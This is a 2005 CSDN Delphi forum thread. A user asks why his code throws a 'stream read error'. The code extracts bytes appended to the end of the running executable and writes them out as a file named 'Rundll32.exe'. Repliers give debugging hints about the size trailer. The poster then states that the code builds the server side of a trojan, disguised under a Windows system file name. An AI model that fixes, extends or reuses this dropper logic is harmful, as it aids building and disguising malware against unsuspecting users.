CSDN首页 空间 新闻 论坛 Blog 下载 读书 网摘 搜索 .NET Java 视频 接项目 求职 在线学习 买书 程序员 通知
不看会后悔的Windows XP之经验谈 简单快捷DIY实用家庭影院
CSDN社区
搜索 收藏 打印 关闭
CSDN社区 >  Delphi >  VCL组件开发及应用

请帮看一段代码!

楼主pandarus(大熊)2005-04-02 10:52:42 在 Delphi / VCL组件开发及应用 提问

procedure   TForm1.sverClick(Sender:   TObject);  
  var   fme:TMemoryStream;  
          clf:TfileStream;  
          size:integer;  
          stf:string;  
  begin  
          stf:=ExtractFilePath(Paramstr(0))+'Rundll32.exe';  
          if   fileexists(stf)   then   deletefile(stf);  
          fme:=TMemoryStream.Create;  
          clf:=Tfilestream.Create(application.ExeName,fmShareDenyNone);  
          try  
                  clf.Seek(-sizeof(size),soFromEnd);  
                  clf.ReadBuffer(size,sizeof(size));  
                  clf.Seek(-size,soFromEnd);  
                  fme.CopyFrom(clf,size-sizeof(size));//执行这句时总出现'stream   read   error'错误!  
                  fme.SaveToFile(stf);  
          finally  
                  fme.Free;  
                  clf.Free;  
          end;  
   
      form4.Visible   :=true;  
      FORM4.T1.Enabled   :=TRUE;  
      form1.Enabled   :=false;  
  end;  
  问题:  
  fme.CopyFrom(clf,size-sizeof(size));//执行这句时总出现'stream   read   error'错误!请教高手  
  问题点数:100、回复次数:4Top

1 楼unsigned(僵哥(发站内消息,请附上链接或问题说明,否则不予回复))回复于 2005-04-02 11:36:46 得分 50

先不要问为什么,首先检查一下,存在最末尾的Size是否准确。至少来说要符合条件size<=clf.Size+sizeof(size)Top

2 楼zswang(伴水清清)(专家门诊清洁工)回复于 2005-04-02 14:04:43 得分 50

……  
  想在执行程序的尾部加数据?  
  加了以后是正常的,不加当然会出错  
  Size-SizeOf(Size)不能小于0Top

3 楼pandarus(大熊)回复于 2005-04-04 12:02:55 得分 0

这是生成服务端木马程序     'Rundll32.exe'      
   
  过程这样:  
   
  先抽取不含路径的文件名存入stf  
   
  指针移动到指定的组件上  
   
  读入字符缓冲区  
   
  从另外一个流中复制指定数量的数据到当前流对象中  
   
  将原始数据从数据缓冲区写入文件  
   
  这样服务端就包含在客户端了     用于下次生成  
   
   
  Top

4 楼pandarus(大熊)回复于 2005-04-05 09:24:58 得分 0

upTop

相关问题

  • 请帮我改一下这段代码
  • 请帮我看看这段代码
  • 请帮我看一小段代码
  • 请帮我看看这段代码
  • 请帮我看看这段代码
  • 请帮我优化这段代码!
  • 请帮忙看看这段代码!急!
  • 请帮忙调试这段代码
  • 请高手帮忙看一段代码
  • 请帮忙转换段代码!!!

关键词

  • clf
  • fme
  • stf
  • size
  • sizeof
  • form

得分解答快速导航

  • 帖主:pandarus
  • unsigned
  • zswang

相关链接

  • Delphi类图书
  • Delphi类源码下载
  • Delphi控件下载

广告也精彩

反馈

请通过下述方式给我们反馈
反馈
提问
网站简介|广告服务|VIP资费标准|银行汇款帐号|网站地图|帮助|联系方式|诚聘英才|English|问题报告
北京创新乐知广告有限公司 版权所有, 京 ICP 证 070598 号
世纪乐知(北京)网络技术有限公司 提供技术支持
Copyright © 2000-2008, CSDN.NET, All Rights Reserved
GongshangLogo